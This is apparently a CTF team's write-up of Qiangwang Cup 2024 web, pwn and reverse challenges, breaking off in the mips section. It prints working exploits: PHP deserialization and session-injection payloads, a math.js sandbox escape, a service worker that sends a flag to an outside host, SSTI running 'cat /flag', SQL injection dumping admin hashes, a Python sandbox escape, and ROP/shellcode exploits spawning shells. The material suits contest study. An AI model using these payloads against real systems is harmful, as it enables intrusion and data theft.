强网杯 2024 By W&M

admin 2024年11月6日14:08:53强网杯 2024 By W&M已关闭评论14 views字数 47542阅读158分28秒阅读模式
  • WEB - 7
    • Password Game
    • Proxy
    • platform
    • EzCalc
    • snake
    • Xiaohuanxiong
    • PyBlockly
  • PWN - 3
    • chat_with_me
    • expect_number
    • baby_heap
  • REVERSE - 2
    • mips
    • boxx
  • MISC - 8
    • 谍影重重
    • Master of DFIR - Phishing
    • Master of DFIR - Coffee
    • pickle_jail
    • givemesecret
  • CRYPTO - 4
    • 21_steps
    • apbq
    • traditional_game
    • EasyRSA

WEB - 7

Password Game

前面通过游戏,不同session,要求不一样

这里"3650"是算式的解,后面的8加上,为了满足倍数。

password="3650"Ac8

注意得用双引号括起来,3650Ac8不行

发过去就能出现下面的代码

function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}

思路:令user对象的username指向root的value

先使用$user->password触发root的__get,这样root对象的value就是flag

然后user对象的__destruct输出username,就能输出flag。

现在的问题是payload超长了

strpos($this->username, "admin") == 0 false也==0

admin和其它null的属性可以删了省长度

强网杯 2024 By W&M

Proxy

照着json构造一个post到/v1/api/flag就行了

platform

<?php
class notouchitsclass {
    public $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function __destruct() {
        eval($this->data);
    }
}

class SessionRandom {

    public function generateRandomString() {
    $length = rand(1, 50);

    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';

    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }

    return $randomString;
    }

}

class SessionManager {
    private $sessionPath;
    private $sessionId;
    private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open'];

    public function __construct() {
        if (session_status() == PHP_SESSION_NONE) {
            throw new Exception("Session has not been started. Please start a session before using this class.");
        }
        $this->sessionPath = session_save_path();
        $this->sessionId = session_id();
    }

    private function getSessionFilePath() {
        return $this->sessionPath . "/sess_" . $this->sessionId;
    }

    public function filterSensitiveFunctions() {
        $sessionFile = $this->getSessionFilePath();

        if (file_exists($sessionFile)) {
            $sessionData = file_get_contents($sessionFile);

            foreach ($this->sensitiveFunctions as $function) {
                if (strpos($sessionData, $function) !== false) {
                    $sessionData = str_replace($function, '', $sessionData);
                }
            }
            file_put_contents($sessionFile, $sessionData);

            return "Sensitive functions have been filtered from the session file.";
        } else {
            return "Session file not found.";
        }
    }
}

暂时无法在飞书文档外展示此内容

强网杯 2024 By W&M

构造一个固定长度random的payload。然后爆破random

写一个文件进去。然后include

import requests
target="http://eci-2ze16rku3lt0k578tb5l.cloudeci1.ichunqiu.com/"
r=requests.session()
r.headers={"Cookie":"PHPSESSID=1bch487l00n8ljjd6aqt6j4r9d"}
while True:
    
    r.post(target + "index.php", data={"username": "passthrupassthrupassthrupassthrupassthrupassthrupassthru","password": ';test|O:15:"notouchitsclass":1:{s:4:"data";s:22:"include(\'/tmp/guoke\');";}'})

    res=r.post(target+"dashboard.php",data={"123":"phpinfo();"}).text
    if("phpinfo" in res):
        print(res)
        exit(0)

EzCalc

分析 index 的那个 js,全局搜一下 expression 值了Id,看到 x 似乎输入,混淆的有这个ea,是计算结果的函数

强网杯 2024 By W&M

来自这个 lib

强网杯 2024 By W&M

看到是 math.js 框架

强网杯 2024 By W&M

math.js version 11.8.2

强网杯 2024 By W&M

有一个被主动修复但没有 CVE 的洞

强网杯 2024 By W&M

https://github.com/josdejong/mathjs/commit/6dcbc6b7933bd076b18f3eed0393895ca62d4f51

强网杯 2024 By W&M

e=parse("constructor('d=()=>document.querySelector(`.ant-alert-message`);setInterval(()=>{if(d())d().innerHTML=114514},100);alert(1)')")._compile({},{});f=e(null,cos);f()

替换上面 alert(1) 的部分就能代码执行了,前面的部分是因为 Bot 要先检测输出结果是不是 114514,因此循环替换 DOM 的 innerHTML 即可。

Bot 在执行完我们的代码之后就关闭页面,并开启一个新的页面输入 flag 了,和 2021 年的强网杯思路差不多,注册一个 Service Wroker 做一层代理劫持。

https://developer.mozilla.org/zh-CN/docs/Web/API/Service_Worker_API

main.goblacklistedExt 里没有 .``js,直接通过 screenshot,用GIF89a绕过 C``ontent``-T``ype 嗅探判断即可,然后劫持 / 路由,返回我们想要的 Html:

POST https://ezcalc-1.hurrison.com/api/screenshot/upload HTTP/1.1
Host: ezcalc-1.hurrison.com
Connection: keep-alive
Content-Length: 225

------WebKitFormBoundaryArJCeyxjNJe0uoGK
Content-Disposition: form-data; name="file"; filename="a.js"
Content-Type: image/png

GIF89a=1;
console.log("installedstart");
self.addEventListener('install', event => {
  // Skip waiting so the SW activates immediately on install
  self.skipWaiting();
});

self.addEventListener('activate', event => {
  // Activate immediately after installation
  event.waitUntil(self.clients.claim());
});

const html = `

<html>
<body>
<input id="expr" placeholder="Math Expression" class="ant-input css-ni1kz0 ant-input-outlined ant-input-compact-item ant-input-compact-first-item" type="text" value="">
<button id="calc" type="button" class="ant-btn css-ni1kz0 ant-btn-primary ant-btn-color-primary ant-btn-variant-solid ant-btn-compact-item ant-btn-compact-last-item"><span>Calculate</span></button>
</body>
<script>
calc.onclick = function(){
window.location.href = "http://123.45.67.89:9990/flag?flag="+encodeURI(expr.value)
}
</script>
</html>
`;

self.addEventListener('fetch', event => {
console.log(event);
  // Intercept the request for /index.html
  if (event.request.url.endsWith('/')) {
    event.respondWith(
      new Response(html, {
        headers: { 'Content-Type': 'text/html' }
      })
    );
  }
});

------WebKitFormBoundaryArJCeyxjNJe0uoGK--

/static/下的注册,只能控制/static/下的页面,劫持会对注册时路由的 Path(scoop)下所有的路径生效,但是main.go的静态路由有解析漏洞,解析只匹配/static开头而不是/static/,那么例如/staticxxxStripPrefix之后,得到的就是xxx

func StaticMiddleware(relativePath, root string) gin.HandlerFunc {
    return func(c *gin.Context) {
        if strings.HasPrefix(c.Request.URL.Path, relativePath) {
            fs := gin.Dir(root, false)
            fileServer := http.StripPrefix(relativePath, http.FileServer(fs))
            fileServer.ServeHTTP(c.Writer, c.Request)
        } else {
            c.Next()
        }
    }
}

所以 /staticxxx.js/staticxxx.js 等价

这样注册的时候用 /staticxxx.js 就能控制 / 下的全部页面了

e=parse("constructor('d=()=>document.querySelector(`.ant-alert-message`);setInterval(()=>{if(d())d().innerHTML=114514},100);navigator.serviceWorker.register(`/staticea8a77c8-80e4-4d8f-9c72-dfbfaf1bb0a2.js`)')")._compile({},{});f=e(null,cos);f()

强网杯 2024 By W&M

脚本,Bot 没响应的话需要多打几次:

import requests
from io import BytesIO

RECEIVER='http://xx.xxx.xx.xx'

TARGET='https://ezcalc-1.hurrison.com'

def upload_file(content):
    bio = BytesIO()
    bio.write(content.encode())
    r = requests.post(TARGET + '/api/screenshot/upload', files={'file': ('a.js', bio.getvalue(), 'image/png')})
    return r.json()

def gen_payload(script):
    payload = '''
    e=parse("constructor('d=()=>document.querySelector(`.ant-alert-message`);setInterval(()=>{if(d())d().innerHTML=114514},100);%s')")._compile({},{});f=e(null,cos);f()
    '''.replace('%s', script).strip()
    return payload

service_worker_html = '''
GIF89a=1;
self.addEventListener('install', event => {
  self.skipWaiting();
});

self.addEventListener('activate', event => {
  event.waitUntil(self.clients.claim());
});

const html = `
<html>
<body>
<input id="expr" type="text" value=""><button id="calc">Calculate</button>
</body>
<script>
calc.onclick = () => { window.location.href = "%s/?flag="+encodeURIComponent(expr.value) }
</script>
</html>
`;

self.addEventListener('fetch', event => {
  if (event.request.url.endsWith('/')) {
    event.respondWith(
      new Response(html, {
        headers: { 'Content-Type': 'text/html' }
      })
    );
  }
});
'''.replace('%s', RECEIVER).strip()

def post_payload(expr_payload):
    url = TARGET + '/api/report'
    json = {"expression": expr_payload, "result": "[]", "email": "A", "comment": "B", "screenshots": []}
    r = requests.post(url, json=json)
    return r.json()

def main():
    json = upload_file(service_worker_html)
    fp = '/' + json['data']['path'].replace('/', '')
    print(f"Service Worker: {fp}")
    payload = gen_payload(f'''navigator.serviceWorker.register(`{fp}`)''')
    print(f"Payload: {payload}")
    json = post_payload(payload)
    report_id = json['data']['id']
    print(f"Report ID: {report_id}")
    print(f"URL: {TARGET}/api/report/{report_id}")

if __name__ == '__main__':
    main()

Keyboard 监听,meta 跳转等等都可以。能劫持之后什么都好做了。

snake

贪吃蛇

写脚本跑到40分给url

import requests

import numpy as np
import json

rs = requests.session()
firstRequest = True

BASE_URL = 'http://eci-2zed2ka6j5awv8ff0n95.cloudeci1.ichunqiu.com:5000'
rightmost = 19
leftmost = 0
upmost = 0
downmost = 19

import socket
def set_username():
    username  = socket.gethostname()
    url = BASE_URL + '/set_username'
    data = {"username": username}
    r = rs.post(url, data=data)
    assert r.json()['status'] == 'success',r.text
    print(r.cookies)
    with open("./cookie.json", "w") as f:
        json.dump(requests.utils.dict_from_cookiejar(rs.cookies), f)
    return r.json()

def do_action(action):
    global firstRequest
    assert action in ['UP', 'DOWN', 'LEFT', 'RIGHT']
    url = BASE_URL + '/move'
    data = {"direction": action}
    r = rs.post(url, json=data)
    return r.json()

def draw_snake(info):
    
    img = np.zeros((20, 20, 3), dtype=np.uint8)
    if info['status'] == 'game_over':
        print(info)
        print('Game Over')
        key = cv2.waitKey(999999)
        if key == ord('q'):
            exit(0)
        return
    else:
        if 'food' in info:
            img[info['food'][1], info['food'][0]] = [0, 0, 255]
        for i, snake in enumerate(info['snake']):
            if i == 0:
                img[snake[1], snake[0]] = [0, 255, 0]
            else:
                img[snake[1], snake[0]] = [255, 0, 0]
    img = cv2.resize(img, (400, 400), interpolation=cv2.INTER_NEAREST)
    cv2.imshow('image', img)
    key = cv2.waitKey(1)
    if key == ord('q'):
        exit(0)

def dprint(*args):
    print(*args)
import os
direction = "UP"
flip = False

def do_think(info):
    global direction,flip,do_draw,firstRequest

    if info['status'] == 'game_over':
        if not do_draw:
            print(info)
            print('Game Over')
            input()
        return "RIGHT"
    snake_head = info['snake'][0]
    head_x, head_y = snake_head
    if firstRequest:
        firstRequest = False
        if head_x % 2 != 0:
            return "LEFT"
    
    if direction == "UP" and head_y == upmost:
        direction = "DOWN"
        return "RIGHT"
    
    elif direction == "DOWN" and head_y == downmost -1 and (head_x,head_y) != (19,18):
        direction = "RIGHT"
    
    elif direction == "RIGHT" and head_y == downmost - 1:
        direction = "UP"
    
    elif direction == "LEFT" and head_x == leftmost:
        direction = "UP"
    if (head_x,head_y) == (19,19):
        direction = "LEFT"
    return direction

do_draw = os.getenv("DISPLAY", False)
if do_draw:
    import cv2

def main():
    global do_draw
    set_username()
    try:
        action = "LEFT"
        while 1:
            info = do_action(action)
            print(info)
            if do_draw:
                draw_snake(info)
            action = do_think(info)
            print(action)
    finally:
        if do_draw:
            cv2.destroyAllWindows()
        with open("cookie_end.json", "w") as f:
            json.dump(requests.utils.dict_from_cookiejar(rs.cookies), f)

main()

{'status': 'win', 'url': '/snake_win?username=1'} 然后sql注入 二次注入ssti

http://eci-2zed2ka6j5aww7xz1naf.cloudeci1.ichunqiu.com:5000/snake_win?username=1%27%20and%200%20%20union%20select%201,2,%27{{lipsum.__globals__.__builtins__.__import__(%22os%22).popen(%22cat%20/flag%22).read()}}%27--%20a

Xiaohuanxiong

远程的环境代码

https://github.com/forkable/xiaohuanxiong/blob/master/application/admin/controller/Login.php

注入

/search?keyword=23%27)%20union%20select%201,group_concat(0x7e,username,0x7e,password),3,4,5,6,7,8,9,10,11,12,13,14%20from%20e86ca84c_admin%23

前台注册用户。通过sql注入拿到密码

强网杯 2024 By W&M

例如

已知密码test+salt=3a3649ab0871a7525e1a47d7bb27ebf2
爆破salt得到6a9960

再通过注入拿到admin的salt hash

密码+6a9960=7f05d893f1563e20e2e4547d301fd28e
跑出密码登录后台

salt是6位0-9a-z

强网杯 2024 By W&M

强网杯 2024 By W&M

PyBlockly

​ elif block_type == 'text':

​ if check_for_blacklisted_symbols(block['fields']['TEXT']):

​ code = ''

​ else:

​ code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"

这个位置用中文单引号逃逸,加号也是用中文的

"TEXT":"’+str(vars())+‘"

要执行多条代码就用逗号隔开

"TEXT":"’+str(1)),print(123),print(‘"

my_audit_hook这里,把len覆盖掉,把len变成bool函数,输入字符串时恒返回True,True>4恒为False

setattr(vars()【chr(95)+chr(95)+’builtins‘+chr(95)+chr(95)】,‘len’,bool)

下面的代码本地能跑

def my_audit_hook(event_name, arg):
    print('[INFO] event_name: ',event_name)
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    print('[INFO] len(event_name): ',len(event_name))
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            print('[INFO] bad:',bad)
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)
setattr(__builtins__,'len',bool)
print([x for x in ().__class__.__base__.__subclasses__() if 'BuiltinImporter' in x.__name__][0].load_module('os').system('whoami'))

Rce:

"TEXT":"’+str(1)),setattr(vars()【chr(95)+chr(95)+’builtins‘+chr(95)+chr(95)】,“len”,lambda x:1),print(getattr(getattr(getattr(getattr((),chr(95)+chr(95)+’class‘+chr(95)+chr(95)),chr(95)+chr(95)+’base‘+chr(95)+chr(95)),chr(95)+chr(95)+’subclasses‘+chr(95)+chr(95))()【107】,’load‘+chr(95)+’module‘)(‘os’)。system(‘whoami’)),print(‘"

得提权

强网杯 2024 By W&M

有suid的命令

强网杯 2024 By W&M

dd if=/flag

好了

强网杯 2024 By W&M

PWN - 3

chat_with_me

Rust 堆,白给了栈、堆、elf地址,add的所有chunk都指向栈上的同一个位置。

Edit(0x28)偏移位置的地址会作为地址被释放,heap有一个0x2010大小的缓冲区,

考虑在缓冲区伪造chunk, free到fastbin,然后让chunklist在扩容的时候realloc出来,则可以将chunklist 放入缓冲区中,可以被我们写入,然后即可任意写,在栈上ROP即可,需要注意的是,超过0x50的内容会剩下在缓冲区中,被当成下次的输入,所以payload的结尾只能用"0"字符串伪造fastbin的next size,("00.."是一个有效的choice,所以不会panic)

最终exp如下:

from pwn import *
from pickle import Unpickler

context.update(arch='amd64', os='linux')
context.log_level = 'info'
exe_path = ('./pwnr')
exe = context.binary = ELF(exe_path)
libc = ELF('./libc.so.6')


def one_gadget(filename, base_addr=0):
  return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]

def gdb_pause(p, cmd):
    gdb.attach(p, gdbscript=cmd)  
    pause()

def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

def menu(index):
    p.recvuntil('Choice >')
    p.sendline(str(index))

def add():
    menu(1)

def show(index):
    menu(2)
    p.recvuntil('Index >')
    p.sendline(str(index))

def bye():
    menu(5)

def edit(index,content):
    menu(3)
    p.recvuntil('Index >')
    p.sendline(str(index))
    p.recvuntil('Content >')
    p.send(content)

def free(index):
    menu(4)
    p.recvuntil('Index >')
    p.sendline(str(index))

index = 0
while True:
    p=remote("47.94.151.65",34857)
    
    index += 1
    lg("index")

    add()
    show(0)

    addr_list = []
    stack = 0
    elf_base = 0

    for i in range(32):
        p.recvuntil(',')

    for i in range(6):
        p.recvuntil(' ')
        addr_list.append(int(p.recvuntil(',', drop=True),10))

    addr_list = addr_list[::-1]
    for i in range(len(addr_list)):
        stack <<= 8
        stack += addr_list[i]

    p.recvuntil('0,')
    p.recvuntil('0,')
    addr_list = []

    for i in range(6):
        p.recvuntil(' ')
        addr_list.append(int(p.recvuntil(',', drop=True),10))

    addr_list = addr_list[::-1]
    for i in range(len(addr_list)):
        elf_base <<= 8
        elf_base += addr_list[i]

    elf_base -= 0x635b0

    addr_list = []

    heap_base = 0
    for i in range(10):
        p.recvuntil(' ')

    for i in range(6):
        p.recvuntil(' ')
        addr_list.append(int(p.recvuntil(',', drop=True),10))

    addr_list = addr_list[::-1]
    for i in range(len(addr_list)):
        heap_base <<= 8
        heap_base += addr_list[i]

    heap_base -= 0x2bb0
    heap_base -= index*8

    lg("heap_base")

    lg("stack")
    lg('elf_base')

    payload = flat(
        p64(0), p64(0x50),cyclic(0x10),
        p64(heap_base+0xbb0),
        p64(0), p64(0),p64(0x51),
        cyclic(0x10),
        b"0000000000"
    )
    try:
        for i in range(0x7):
            edit(0 ,payload)

        edit(0, payload)

        for i in range(4):
            add()
    except:
        p.close()
        continue

    pop_rax = 0x0000000000016f3e+elf_base
    pop_rdi_rbp = 0x000000000001dd45+elf_base
    pop_rsi_r15 = 0x000000000001e032+elf_base
    syscall = 0x0000000000026fcf+elf_base
    pop_rcx = 0x17fff+elf_base
    sub_rdx_rcx = 0x1fc60+elf_base
    add_rdx_20 = 0x000000000004c6c6+elf_base

    mov_gad = 0x0000000000026f49 + elf_base 
    pop_gad = 0x000000000001e1ee + elf_base

    ropchain2 = flat(
        p64(pop_rcx), 
        p64(0x70),
        p64(sub_rdx_rcx),
        p64(pop_rax),  
        p64(0x3b),
        p64(pop_rdi_rbp),
        p64(stack-0x228+0x50+0x60),
        p64(0),
        p64(pop_rsi_r15),
        p64(0),
        p64(0),
        p64(syscall),
        "/bin/sh\x00",p64(0)
    )

    ropchain = flat( 
        p64(add_rdx_20),
        p64(pop_rax),
        p64(0),
        p64(pop_rdi_rbp),
        p64(0),
        p64(0),
        p64(pop_rsi_r15),
        p64(stack-0x228+0x50),
        p64(0),
        p64(syscall)
    )

    ropchain3 = flat(
        b"/bin/sh\x00",
        p64(pop_rax),
        p64(0x3b),
        p64(pop_gad),
        p64(syscall),
        p64(0),
        p64(0),
        p64(stack-0x228),
        p64(0),
        p64(mov_gad)
    )

    payload = flat(
        cyclic(0x10),
        p64(stack-0x228),p64(stack-0x228) 
    )

    edit(0, payload)

    edit(0, ropchain3)

    p.interactive()
    break

expect_number

一个伪随机数

有一个栈溢出,打C++异常处理

强网杯 2024 By W&M

后门

强网杯 2024 By W&M

首先通过game partial overwrite覆盖栈上虚表低位地址,让 4的exit选项被劫持为一个可以溢出的函数,同时,这一过程还可以使用show带出elf地址

然后在溢出的函数中触发异常,劫持到后门的异常处理函数

from pwn import *
context.update(arch='amd64', os='linux')
context.log_level = 'info'
exe_path = ('./pwnf')
exe = context.binary = ELF(exe_path)

rand_op = [4,3,2,4,2,4,3,1,2,2,3,4,3,4,4,3,1,3,1,1,4,1,4,2,3,3,3,4,4,4,2,3,3,3,2,4,2,1,4,3,2,2,2,4,1,2,3,1,4,3,2,3,4,1,1,2,3,3,1,2,2,2,1,4,1,2,3,2,2,2,1,4,3,2,3,4,3,1,4,3,4,1,1,3,1,1,4,4,3,4,1,1,1,1,4,1,3,3,3,4,4,3,3,3,4,2,2,3,2,1,1,1,2,1,3,2,2,2,1,4,1,2,4,2,2,4,2,4,2,4,4,1,2,2,3,2,3,4,4,1,1,4,1,2,4,4,3,1,1,4,1,2,1,4,3,2,3,4,2,4,4,1,1,1,2,3,2,1,3,1,1,3,4,1,4,4,4,2,4,1,1,4,2,1,4,4,3,2,3,4,2,2,4,2,3,1,4,4,1,2,1,1,4,4,2,3,3,1,1,3,1,1,2,2,2,1,1,4,3,4,3,4,1,2,1,3,2,4,3,3,2,3,3,1,2,4,4,1,1,4,3,1,4,4,3,1,1,3,4,3,2,2,2,3,3,2,1,1,1,3,3,2,1,1,3,3,1,2,3,1,1,1,1,4,4,3,1,4,2,4,2,3,2,3,1,4,4,2]


p = remote("59.110.156.237",32887)
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]

def continu(innum):
    p.sendlineafter("choice","1")
    p.sendlineafter("0",str(innum))

def show():
    p.sendlineafter("choice","2")

def submit():
    p.sendlineafter("choice","3")

def one_gadget(filename, base_addr=0):
  return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]

def gdb_pause(p, cmd):
    gdb.attach(p, gdbscript=cmd)  
    pause()

def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

now_num = 0
for i in rand_op[:0x120-8-4-1]:
    if i == 1:
        
        if now_num < 0x60:
            continu(2)
            now_num+=2
        else:
            continu(0)
        
    elif i == 2:
        continu(0)
        
    elif i == 3:
        continu(1)
        
    elif i == 4:
        
        continu(1)
        

show()
p.recvuntil("1000011`")
elf_base = u64(p.recv(6)+b"\x00\x00")-0x4c48
continu(1)

lg("elf_base")
backdoor = elf_base + 0x251F - 5
bss = elf_base + 0x50A0

p.sendline("4")
p.recvuntil('Tell me your favorite number.')


p.send(p64(0xdeadbeaf)*4+p64(bss)+p64(backdoor))

p.interactive()

baby_heap

白给uaf,只有一次edit,可以malloc超级大堆块,必须大于0x500,只能add 6次

题目把_IO_wfile_jump给删了

可以直接用largebin attack 打IO_list_all然后用house of some打到栈上,最后openat2 read write

from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64


        


p=remote('47.93.55.85',20637)
context(arch='amd64', os='linux', log_level='debug')

context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]

elf = ELF('./pwn')
libc = ELF('./libc.so.6')


def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

def menu(index):
    p.recvuntil('Enter your choice:')
    p.sendline(str(index))

def add(size):
    menu(1)
    p.recvuntil('Enter your commodity size')
    p.sendline(str(size))

def show(index):
    menu(4)
    p.recvuntil('Enter which to show:')
    p.sendline(str(index))

def edit(index,content):
    menu(3)
    p.recvuntil('Enter which to edit:')
    p.sendline(str(index))
    p.recvuntil('Input the content')
    p.send(content)

def free(index):
    menu(2)
    p.recvuntil('Enter which to delete:')
    p.sendline(str(index))

add(0x510)
add(0x510)
add(0x500)

free(1)
add(0x1000)
show(1)

large = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = large - 2208016
p.recv(10)
heap_base = u64(p.recv(6).ljust(8,b"\x00"))+0x28
lg('libc_base')
lg("heap_base")

target = libc_base+libc.symbols['_IO_list_all']-0x20
fake_io_read = flat({
    0x0: 0x8000 | 0x40 | 0x1000, 
    0x20: target, 
    0x28: target - 0x100, 
    0x68: target-0x100, 
    0x70: 0, 
    0xc0: 0, 
    0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, 
}, filler=b'\x00')

payload = p64(large)*2+p64(target-0x100)+p64(libc_base+libc.symbols['_IO_list_all']-0x20)+fake_io_read[0x30:]
edit(1,payload)

free(3)
add(0x1000)
add(0x500)
menu(6)
p.recvuntil('Input your target addr \n')

p.sendline(b'1')

fake_io_read = flat({
    0x0: 0x8000 | 0x40 | 0x1000, 
    0x20: heap_base + 0x5000, 
    0x28: heap_base + 0x5000 + 0x500, 
    0x68: heap_base + 0x5000, 
    0x70: 0, 
    0xc0: 0, 
    0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, 
}, filler=b'\x00')
p.send(fake_io_read)

fake_io_write = flat({
    0x00: 0x8000 | 0x800 | 0x1000, 
    0x20: libc_base+libc.symbols["environ"], 
    0x28: libc_base+libc.symbols["environ"] + 8, 
    0x68: heap_base + 0x5000 + 0x100, 
    0x70: 1, 
    0xc0: 0, 
    0xd8: libc_base + libc.symbols['_IO_file_jumps'], 
}, filler=b'\x00')
payload = fake_io_write.ljust(0x100, b'\x00')

fake_io_read = flat({
    0x00: 0x8000 | 0x40 | 0x1000, 
    0x20: heap_base + 0x5000 + 0x200, 
    0x28: heap_base + 0x5000 + 0x500, 
    0x68: heap_base + 0x5000 + 0x200, 
    0x70: 0, 
    0xc0: 0, 
    0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, 
}, filler=b'\x00')
payload += fake_io_read.ljust(0x100, b'\x00')

sleep(0.1)
p.send(payload)

stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
lg("stack")
target = stack - 720 - 8 
lg('target')

fake_io_read = flat({
    0x00: 0x8000 | 0x40 | 0x1000, 
    0x20: target, 
    0x28: target + 0x200, 
    0x68: 0, 
    0x70: 0, 
    0xc0: 0, 
    0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, 
}, filler=b'\x00')

sleep(0.1)
p.send(fake_io_read)

pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000016333a
pop_rdx_rbx_ret = libc_base + 0x00000000000904a9
pop_rax_ret = libc_base + 0x0000000000045eb0
syscall_ret = libc_base + 0x0000000000091316
pop_rax_call_rax = libc_base + 0x0000000000166369
shellcode_addr = target + 0x60
mprotect = libc_base + libc.symbols['mprotect']
pop_rbp_ret = libc_base + 0x000000000002a2e0

shellcode = asm("""
    mov rax, 0x67616c66
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    push 0
    push 0
    push 0
    mov rdx, rsp
    mov r10, 0x18
    push SYS_openat2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall 
""")

payload = flat([
    pop_rdi_ret, target & ~0xfff,
    pop_rsi_ret, 0x2000,
    pop_rdx_rbx_ret, 7, 0,
    mprotect, 
    pop_rbp_ret, heap_base + 0x3000,
    pop_rax_call_rax, shellcode_addr
])

payload += shellcode

sleep(0.1)
p.send(payload)

p.interactive()

REVERSE - 2

mips

动态调试来做

有反调试

强网杯 2024 By W&M

nop掉

强网杯 2024 By W&M

Opcode dump下来

    _BYTE opcodes[] =
    {
      0x00, 0x81, 0x42, 0x26, 0x3C, 0x08, 0x02, 0x01, 0x35, 0x28,
      0x3A, 0x03, 0x24, 0x0B, 0x02, 0x16, 0x24, 0x0A, 0x02, 0x03,
      0x11, 0x61, 0x02, 0x05, 0x00, 0x01, 0x02, 0x03, 0x21, 0x28,
      0x02, 0x02, 0x21, 0x09, 0x02, 0x02, 0x21, 0x4B, 0xFD, 0xFC,
      0x11, 0x41, 0x02, 0x09, 0x00, 0x01, 0x02, 0x03, 0x01, 0x8D,
      0x62, 0x25, 0x01, 0xAC, 0x6A, 0x25, 0x81, 0x2D, 0x02, 0x03,
      0x81, 0x0C, 0x02, 0x03, 0x01, 0x8B, 0x62, 0x25, 0x01, 0xAD,
      0x6A, 0x25, 0x11, 0xA1, 0xFD, 0xF7, 0x00, 0x01, 0x02, 0x03,
      0x24, 0x0A, 0x02, 0x02, 0x01, 0x61, 0x12, 0x26, 0x03, 0xE1,
      0x02, 0x0B, 0x00, 0x01, 0x02, 0x03
    };
    _BYTE* thread = opcodes;
    for (int i = 0; i != 96; ++i)
    {
        BYTE v7 = i & 3 ^ *thread;
        *thread++ = v7;
        printf("%02x ", v7 & 0xff);

    }

强网杯 2024 By W&M

强网杯 2024 By W&M

解密出的是

#define _CRT_SECURE_NO_WARNINGS
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "ida.h"
#include <stdint.h>


int main() {
    unsigned char ida_chars[] =
    {
      0x73, 0x78, 0x72, 0x75, 0x6A, 0x74, 0x76, 0x60, 0x6C, 0x61,
      0x62, 0x69, 0x56, 0x7A, 0x62, 0x70, 0x60, 0x76, 0x70, 0x67,
      0x7C
    };
    char key[] = { 0x73,0x78,0x72,0x75,0x6a,0x74,0x76,0x60,0x6c,0x61,0x62,0x69,0x56,0x7a,0x62,0x70,0x60,0x76,0x70,0x67,0x7c };
    int temp = 0;
    for (size_t i = 21; i >0; i--)
    {

        printf("%c", (ida_chars[temp++] ^ i));
    }
    return 0;
}

flag{dynamic_reverse}

提示要动态逆向,假的flag

https://blog.csdn.net/qq_38722334/article/details/109842394

不太行,单独调试mips还是给fakeflag

分析emu发现

cpu_loop:sub_29ED1E

tb_gen_code:sub_3A0FF7 (插入了一个加密flag的函数)

do_syscall:sub_3EAE62

do_syscall1:sub_3DE49E (魔改了NR_read NR_write等syscall处理分支)

可疑的rc4函数:int64 fastcall sub_33D48E(__int64 a1)

去除混淆后的效果

强网杯 2024 By W&M

交叉引用定位到密文

强网杯 2024 By W&M

unsigned int unk_B9CA80[23] = {
    0x000000C4, 0x000000EE, 0x0000003C, 0x000000BB, 0x000000E7, 0x000000FD, 0x00000067, 0x0000001D, 
    0x000000F8, 0x00000097, 0x00000068, 0x0000009D, 0x0000000B, 0x0000007F, 0x000000C7, 0x00000080, 
    0x000000DF, 0x000000F9, 0x0000004B, 0x000000A0, 0x00000046, 0x00000091, 0x00000000
};
{ 0xC4, 0xEE, 0x3C, 0xBB, 0xE7, 0xFD, 0x67, 0x1D, 0xF8, 0x97, 0x68, 0x9D, 0x0B, 0x7F, 0xC7, 0x80, 0xDF, 0xF9, 0x4B, 0xA0, 0x46, 0x91 };

有输入flag交换位置的函数

swap(inputflag, 7LL, 11LL);

